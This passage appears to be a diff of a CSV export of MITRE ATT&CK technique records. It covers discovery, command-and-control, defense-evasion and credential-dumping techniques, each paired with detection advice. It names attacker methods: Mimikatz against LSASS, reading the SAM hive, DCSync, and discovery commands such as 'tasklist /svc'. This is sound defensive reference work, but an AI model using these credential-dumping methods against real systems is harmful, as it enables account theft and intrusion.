could convey information about how the system is used or give context to information collected by a keylogger.,attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830,attack-pattern,['discovery'],2020-03-26T15:44:27.068Z,2017-05-31T21:30:24.512Z,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained. +Monitor for and investigate changes to host adapter settings, such as addition and/or replication of communication interfaces.",False,,"['Linux', 'macOS', 'Windows']",,,,,True,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1010', 'external_id': 'T1010'}]",1.1,attack-pattern,attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:30:24.512Z,2020-03-26T15:44:27.068Z,Application Window Discovery,Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used or give context to information collected by a keylogger.,['discovery'],https://attack.mitre.org/techniques/T1010,mitre-attack,T1010,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Creation', 'Command: Command Execution', 'Process: OS API Execution']",,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained. -Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).","['Process: Process Creation', 'Command: Command Execution', 'Process: OS API Execution']",,,['User'],"['macOS', 'Windows']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1008', 'external_id': 'T1008'}, {'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'source_name': 'University of Birmingham C2'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]",1.0,False,https://attack.mitre.org/techniques/T1008,mitre-attack,T1008,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Fallback Channels,Adversaries may use fallback or alternate communication channels if the primary channel is compromised or inaccessible in order to maintain reliable command and control and to avoid data transfer thresholds.,attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433,attack-pattern,['command-and-control'],2020-07-14T19:49:47.340Z,2017-05-31T21:30:21.689Z,"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)","['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Connection Creation']",,,,"['Linux', 'Windows', 'macOS']",,,,,True,,,,,,,,, -"[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1007', 'external_id': 'T1007'}, {'external_id': 'CAPEC-574', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/574.html'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]",1.1,False,https://attack.mitre.org/techniques/T1007,mitre-attack,T1007,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,System Service Discovery,"Adversaries may try to get information about registered services. Commands that may obtain information about services using operating system utilities are ""sc,"" ""tasklist /svc"" using [Tasklist](https://attack.mitre.org/software/S0057), and ""net start"" using [Net](https://attack.mitre.org/software/S0039), but adversaries may also use other tools as well. Adversaries may use the information from [System Service Discovery](https://attack.mitre.org/techniques/T1007) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.",attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa,attack-pattern,['discovery'],2020-03-15T01:05:08.805Z,2017-05-31T21:30:21.315Z,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. +Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",False,['User'],"['macOS', 'Windows']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1008', 'external_id': 'T1008'}, {'source_name': 'University of Birmingham C2', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf'}]",1.0,attack-pattern,attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:30:21.689Z,2020-07-14T19:49:47.340Z,Fallback Channels,Adversaries may use fallback or alternate communication channels if the primary channel is compromised or inaccessible in order to maintain reliable command and control and to avoid data transfer thresholds.,['command-and-control'],https://attack.mitre.org/techniques/T1008,mitre-attack,T1008,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Connection Creation']",,"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)",False,,"['Linux', 'Windows', 'macOS']",,,,,True,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1007', 'external_id': 'T1007'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/574.html', 'external_id': 'CAPEC-574'}]",1.2,attack-pattern,attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:30:21.315Z,2021-10-17T14:10:36.992Z,System Service Discovery,"Adversaries may try to get information about registered services. Commands that may obtain information about services using operating system utilities are ""sc,"" ""tasklist /svc"" using [Tasklist](https://attack.mitre.org/software/S0057), and ""net start"" using [Net](https://attack.mitre.org/software/S0039), but adversaries may also use other tools as well. Adversaries may use the information from [System Service Discovery](https://attack.mitre.org/techniques/T1007) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.",['discovery'],https://attack.mitre.org/techniques/T1007,mitre-attack,T1007,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Creation', 'Command: Command Execution']",,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. -Monitor processes and command-line arguments for actions that could be taken to gather system information related to services. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).","['Process: Process Creation', 'Command: Command Execution']",,,"['User', 'Administrator', 'SYSTEM']",['Windows'],,CAPEC-574,https://capec.mitre.org/data/definitions/574.html,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1006', 'url': 'https://attack.mitre.org/techniques/T1006'}, {'url': 'http://www.codeproject.com/Articles/32169/FDump-Dumping-File-Sectors-Directly-from-Disk-usin', 'description': 'Hakobyan, A. (2009, January 8). FDump - Dumping File Sectors Directly from Disk using Logical Offsets. Retrieved November 12, 2014.', 'source_name': 'Hakobyan 2009'}, {'url': 'https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1', 'description': 'Bialek, J. (2015, December 16). Invoke-NinjaCopy.ps1. Retrieved June 2, 2016.', 'source_name': 'Github PowerSploit Ninjacopy'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",2.0,False,https://attack.mitre.org/techniques/T1006,mitre-attack,T1006,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Direct Volume Access,"Adversaries may directly access a volume to bypass file access controls and file system monitoring. Windows allows programs to have direct access to logical volumes. Programs with direct access may read and write files directly from the drive by analyzing file system data structures. This technique bypasses Windows file access controls as well as file system monitoring tools. (Citation: Hakobyan 2009) +Monitor processes and command-line arguments for actions that could be taken to gather system information related to services. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",False,"['User', 'Administrator', 'SYSTEM']","['Windows', 'macOS']",,CAPEC-574,https://capec.mitre.org/data/definitions/574.html,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1006', 'external_id': 'T1006'}, {'source_name': 'Hakobyan 2009', 'description': 'Hakobyan, A. (2009, January 8). FDump - Dumping File Sectors Directly from Disk using Logical Offsets. Retrieved November 12, 2014.', 'url': 'http://www.codeproject.com/Articles/32169/FDump-Dumping-File-Sectors-Directly-from-Disk-usin'}, {'source_name': 'Github PowerSploit Ninjacopy', 'description': 'Bialek, J. (2015, December 16). Invoke-NinjaCopy.ps1. Retrieved June 2, 2016.', 'url': 'https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1'}]",2.0,attack-pattern,attack-pattern--0c8ab3eb-df48-4b9c-ace7-beacaac81cc5,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:30:20.934Z,2021-02-09T14:09:00.753Z,Direct Volume Access,"Adversaries may directly access a volume to bypass file access controls and file system monitoring. Windows allows programs to have direct access to logical volumes. Programs with direct access may read and write files directly from the drive by analyzing file system data structures. This technique bypasses Windows file access controls as well as file system monitoring tools. (Citation: Hakobyan 2009) -Utilities, such as NinjaCopy, exist to perform these actions in PowerShell. (Citation: Github PowerSploit Ninjacopy)",attack-pattern--0c8ab3eb-df48-4b9c-ace7-beacaac81cc5,attack-pattern,['defense-evasion'],2021-02-09T14:09:00.753Z,2017-05-31T21:30:20.934Z,"Monitor handle opens on drive volumes that are made by processes to determine when they may directly access logical drives. (Citation: Github PowerSploit Ninjacopy) +Utilities, such as NinjaCopy, exist to perform these actions in PowerShell. (Citation: Github PowerSploit Ninjacopy)",['defense-evasion'],https://attack.mitre.org/techniques/T1006,mitre-attack,T1006,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Command: Command Execution', 'Drive: Drive Access']","['File monitoring', 'File system access controls']","Monitor handle opens on drive volumes that are made by processes to determine when they may directly access logical drives. (Citation: Github PowerSploit Ninjacopy) -Monitor processes and command-line arguments for actions that could be taken to copy files from the logical drive and evade common file system protections. Since this technique may also be used through [PowerShell](https://attack.mitre.org/techniques/T1059/001), additional logging of PowerShell scripts is recommended.","['Command: Command Execution', 'Drive: Drive Access']",,"['File monitoring', 'File system access controls']",['Administrator'],['Windows'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1005', 'external_id': 'T1005'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}]",1.2,False,https://attack.mitre.org/techniques/T1005,mitre-attack,T1005,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Data from Local System,"Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration. +Monitor processes and command-line arguments for actions that could be taken to copy files from the logical drive and evade common file system protections. Since this technique may also be used through [PowerShell](https://attack.mitre.org/techniques/T1059/001), additional logging of PowerShell scripts is recommended.",False,['Administrator'],['Windows'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1005', 'external_id': 'T1005'}]",1.3,attack-pattern,attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:30:20.537Z,2021-10-15T22:16:42.734Z,Data from Local System,"Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration. Adversaries may do this using a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), such as [cmd](https://attack.mitre.org/software/S0106), which has functionality to interact with the file system to gather information. Some adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on the local system. -",attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5,attack-pattern,['collection'],2020-05-26T19:21:25.974Z,2017-05-31T21:30:20.537Z,Monitor processes and command-line arguments for actions that could be taken to collect files from a system. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).,"['File: File Access', 'Command: Command Execution']",,,,"['Linux', 'macOS', 'Windows']",,,,['Privileges to access certain files and directories'],,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1003', 'url': 'https://attack.mitre.org/techniques/T1003'}, {'description': 'French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019.', 'url': 'https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea', 'source_name': 'Medium Detecting Attempts to Steal Passwords from Memory'}, {'url': 'https://github.com/mattifestation/PowerSploit', 'description': 'PowerSploit. (n.d.). Retrieved December 4, 2014.', 'source_name': 'Powersploit'}, {'url': 'https://msdn.microsoft.com/library/cc228086.aspx', 'description': 'Microsoft. (2017, December 1). MS-DRSR Directory Replication Service (DRS) Remote Protocol. Retrieved December 4, 2017.', 'source_name': 'Microsoft DRSR Dec 2017'}, {'url': 'https://msdn.microsoft.com/library/dd207691.aspx', 'description': 'Microsoft. (n.d.). IDL_DRSGetNCChanges (Opnum 3). Retrieved December 4, 2017.', 'source_name': 'Microsoft GetNCCChanges'}, {'url': 'https://wiki.samba.org/index.php/DRSUAPI', 'description': 'SambaWiki. (n.d.). DRSUAPI. Retrieved December 4, 2017.', 'source_name': 'Samba DRSUAPI'}, {'url': 'http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/', 'description': 'Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, Oh My. Retrieved December 4, 2017.', 'source_name': 'Harmj0y DCSync Sept 2015'}, {'url': 'https://msdn.microsoft.com/library/cc237008.aspx', 'description': 'Microsoft. (2017, December 1). MS-NRPC - Netlogon Remote Protocol. Retrieved December 6, 2017.', 'source_name': 'Microsoft NRPC Dec 2017'}, {'url': 'https://msdn.microsoft.com/library/cc245496.aspx', 'description': 'Microsoft. (n.d.). MS-SAMR Security Account Manager (SAM) Remote Protocol (Client-to-Server) - Transport. Retrieved December 4, 2017.', 'source_name': 'Microsoft SAMR'}, {'url': 'https://adsecurity.org/?p=1729', 'description': 'Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved December 4, 2017.', 'source_name': 'AdSecurity DCSync Sept 2015'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]",2.0,False,https://attack.mitre.org/techniques/T1003,mitre-attack,T1003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,OS Credential Dumping,"Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and access restricted information. +",['collection'],https://attack.mitre.org/techniques/T1005,mitre-attack,T1005,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['William Cain'],"['Script: Script Execution', 'File: File Access', 'Command: Command Execution']",,Monitor processes and command-line arguments for actions that could be taken to collect files from a system. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).,False,,"['Linux', 'macOS', 'Windows']",,,,['Privileges to access certain files and directories'],,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1003', 'external_id': 'T1003'}, {'source_name': 'Medium Detecting Attempts to Steal Passwords from Memory', 'description': 'French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019.', 'url': 'https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea'}, {'source_name': 'Powersploit', 'description': 'PowerSploit. (n.d.). Retrieved December 4, 2014.', 'url': 'https://github.com/mattifestation/PowerSploit'}, {'source_name': 'Microsoft DRSR Dec 2017', 'description': 'Microsoft. (2017, December 1). MS-DRSR Directory Replication Service (DRS) Remote Protocol. Retrieved December 4, 2017.', 'url': 'https://msdn.microsoft.com/library/cc228086.aspx'}, {'source_name': 'Microsoft GetNCCChanges', 'description': 'Microsoft. (n.d.). IDL_DRSGetNCChanges (Opnum 3). Retrieved December 4, 2017.', 'url': 'https://msdn.microsoft.com/library/dd207691.aspx'}, {'source_name': 'Samba DRSUAPI', 'description': 'SambaWiki. (n.d.). DRSUAPI. Retrieved December 4, 2017.', 'url': 'https://wiki.samba.org/index.php/DRSUAPI'}, {'source_name': 'Harmj0y DCSync Sept 2015', 'description': 'Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, Oh My. Retrieved December 4, 2017.', 'url': 'http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/'}, {'source_name': 'Microsoft NRPC Dec 2017', 'description': 'Microsoft. (2017, December 1). MS-NRPC - Netlogon Remote Protocol. Retrieved December 6, 2017.', 'url': 'https://msdn.microsoft.com/library/cc237008.aspx'}, {'source_name': 'Microsoft SAMR', 'description': 'Microsoft. (n.d.). MS-SAMR Security Account Manager (SAM) Remote Protocol (Client-to-Server) - Transport. Retrieved December 4, 2017.', 'url': 'https://msdn.microsoft.com/library/cc245496.aspx'}, {'source_name': 'AdSecurity DCSync Sept 2015', 'description': 'Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved December 4, 2017.', 'url': 'https://adsecurity.org/?p=1729'}]",2.1,attack-pattern,attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:30:19.735Z,2021-10-15T19:55:01.922Z,OS Credential Dumping,"Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and access restricted information. Several of the tools mentioned in associated sub-techniques may be used by both adversaries and professional security testers. Additional custom tools likely exist as well. -",attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22,attack-pattern,['credential-access'],2021-02-09T14:15:25.186Z,2017-05-31T21:30:19.735Z,"### Windows +",['credential-access'],https://attack.mitre.org/techniques/T1003,mitre-attack,T1003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Vincent Le Toux', 'Ed Williams, Trustwave, SpiderLabs']","['Process: Process Creation', 'Process: Process Access', 'Command: Command Execution', 'File: File Access', 'Windows Registry: Windows Registry Key Access', 'Active Directory: Active Directory Object Access', 'Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'Process: OS API Execution']",,"### Windows Monitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as [Mimikatz](https://attack.mitre.org/software/S0002) access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective [Process Injection](https://attack.mitre.org/techniques/T1055) to reduce potential indicators of malicious activity. Hash dumpers open the Security Accounts Manager (SAM) on the local file system (%SystemRoot%/system32/config/SAM) or create a dump of the Registry SAM key to access stored account password hashes. Some hash dumpers will open the local file system as a device and parse to the SAM table to avoid file access defenses. Others will make an in-memory copy of the SAM table before reading hashes. Detection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries may help as well. @@ -3495,550 +3633,39 @@ Monitor processes and command-line arguments for program execution that may be i Monitor domain controller logs for replication requests and other unscheduled activity possibly associated with DCSync. (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) Note: Domain controllers may not log replication requests originating from the default domain controller account. (Citation: Harmj0y DCSync Sept 2015). Also monitor for network protocols (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft NRPC Dec 2017) and other replication requests (Citation: Microsoft SAMR) from IPs not associated with known domain controllers. (Citation: AdSecurity DCSync Sept 2015) ### Linux -To obtain the passwords and hashes stored in memory, processes must open a maps file in the /proc filesystem for the process being analyzed. This file is stored under the path /proc//maps, where the directory is the unique pid of the program being interrogated for such authentication data. The AuditD monitoring tool, which ships stock in many Linux distributions, can be used to watch for hostile processes opening this file in the proc file system, alerting on the pid, process name, and arguments of such programs.","['Process: Process Creation', 'Process: Process Access', 'Command: Command Execution', 'File: File Access', 'Windows Registry: Windows Registry Key Access', 'Active Directory: Active Directory Object Access', 'Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'Process: OS API Execution']","['Vincent Le Toux', 'Ed Williams, Trustwave, SpiderLabs']",,"['Administrator', 'SYSTEM', 'root']","['Windows', 'Linux', 'macOS']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1001', 'url': 'https://attack.mitre.org/techniques/T1001'}, {'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'source_name': 'University of Birmingham C2'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]",1.1,False,https://attack.mitre.org/techniques/T1001,mitre-attack,T1001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Data Obfuscation,"Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols. ",attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842,attack-pattern,['command-and-control'],2020-03-15T00:40:27.670Z,2017-05-31T21:30:18.931Z,"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)",['Network Traffic: Network Traffic Content'],,,,"['Linux', 'macOS', 'Windows']",,,,,True,,,,,,,,, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1397', 'external_id': 'T1397'}, {'source_name': 'ATTACKREF GRIZZLY STEPPE JAR', 'description': 'Department of Homeland Security and Federal Bureau of Investigation. (2016, December 29). GRIZZLY STEPPE – Russian Malicious Cyber Activity. Retrieved January 11, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'technical-information-gathering'}]",1.0,False,https://attack.mitre.org/techniques/T1397,mitre-pre-attack,T1397,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Spearphishing for Information,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1397). - -Spearphishing for information is a specific variant of spearphishing. Spearphishing for information is different from other forms of spearphishing in that it it doesn't leverage malicious code. All forms of spearphishing are elctronically delivered social engineering targeted at a specific individual, company, or industry. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials, without involving malicious code. Spearphishing for information frequently involves masquerading as a source with a reason to collect information (such as a system administrator or a bank) and providing a user with a website link to visit. The given website often closely resembles a legitimate site in appearance and has a URL containing elements from the real site. From the fake website, information is gathered in web forms and sent to the attacker. Spearphishing for information may also try to obtain information directly through the exchange of emails, instant messengers or other electronic conversation means. (Citation: ATTACKREF GRIZZLY STEPPE JAR)",attack-pattern--b182f29c-2505-4b32-a000-0440ef189f59,attack-pattern,['technical-information-gathering'],2020-10-26T13:42:49.342Z,2018-04-18T17:59:24.739Z,,,,,,,,,,,,,,True,PRE-T1174,"Sending emails is trivial, and, over time, an adversary can refine their technique to minimize detection by making their emails seem legitimate in structure and content.",Yes,"Depending on the specific method of phishing, the detections can vary. For emails, filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed. When it comes to following links, network intrusion detection systems (NIDS), firewalls, removing links, exploding shortened links, proxy monitoring, blocking uncategorized sites, and site reputation based filtering can all provide detection opportunities.",Partial, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1329', 'external_id': 'T1329'}, {'source_name': 'TrendmicroHideoutsLease', 'description': 'Max Goncharov. (2015, July 15). Criminal Hideouts for Lease: Bulletproof Hosting Services. Retrieved March 6, 2017.', 'url': 'https://documents.trendmicro.com/assets/wp/wp-criminal-hideouts-for-lease.pdf'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'establish-&-maintain-infrastructure'}]",1.0,,https://attack.mitre.org/techniques/T1329,mitre-pre-attack,T1329,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Acquire and/or use 3rd party infrastructure services,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1329). - -A wide variety of cloud, virtual private services, hosting, compute, and storage solutions are available. Additionally botnets are available for rent or purchase. Use of these solutions allow an adversary to stage, launch, and execute an attack from infrastructure that does not physically tie back to them and can be rapidly provisioned, modified, and shut down. (Citation: TrendmicroHideoutsLease)",attack-pattern--795c1a92-3a26-453e-b99a-6a566aa94dc6,attack-pattern,['establish-&-maintain-infrastructure'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1106,Wide variety of cloud/VPS/hosting/compute/storage solutions available for adversary to acquire freely or at a low cost.,Yes,Hard to differentiate from standard business operations.,No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1332', 'external_id': 'T1332'}, {'description': 'Fisher, D. (2012, October 31). Final Report on DigiNotar Hack Shows Total Compromise of CA Servers. Retrieved March 6, 2017.', 'source_name': 'DiginotarCompromise', 'url': 'https://threatpost.com/final-report-diginotar-hack-shows-total-compromise-ca-servers-103112/77170/'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'establish-&-maintain-infrastructure'}]",1.0,,https://attack.mitre.org/techniques/T1332,mitre-pre-attack,T1332,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Acquire or compromise 3rd party signing certificates,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1332). - -Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Users may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is. (Citation: DiginotarCompromise)",attack-pattern--03f4a766-7a21-4b5e-9ccf-e0cf422ab983,attack-pattern,['establish-&-maintain-infrastructure'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1109,It is trivial to purchase code signing certificates within an organization; many exist and are available at reasonable cost. It is complex to factor or steal 3rd party code signing certificates for use in malicious mechanisms,No,Defender will not know what certificates an adversary acquires from a 3rd party. Defender will not know prior to public disclosure if a 3rd party has had their certificate compromised.,No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1287', 'external_id': 'T1287'}, {'source_name': 'SurveyDetectionStrategies', 'description': 'Jamal Raiyn. (2014). A survey of Cyber Attack Detection Strategies. Retrieved March 5, 2017.'}, {'source_name': 'CyberReconPaper', 'description': 'H. P. Sanghvi and M. S. Dahiya. (2013, February). Cyber Reconnaissance: An Alarm before Cyber Attack. Retrieved March 5, 2017.'}, {'source_name': 'RSA-APTRecon', 'description': 'Rotem Kerner. (2015, October). RECONNAISSANCE: A Walkthrough of 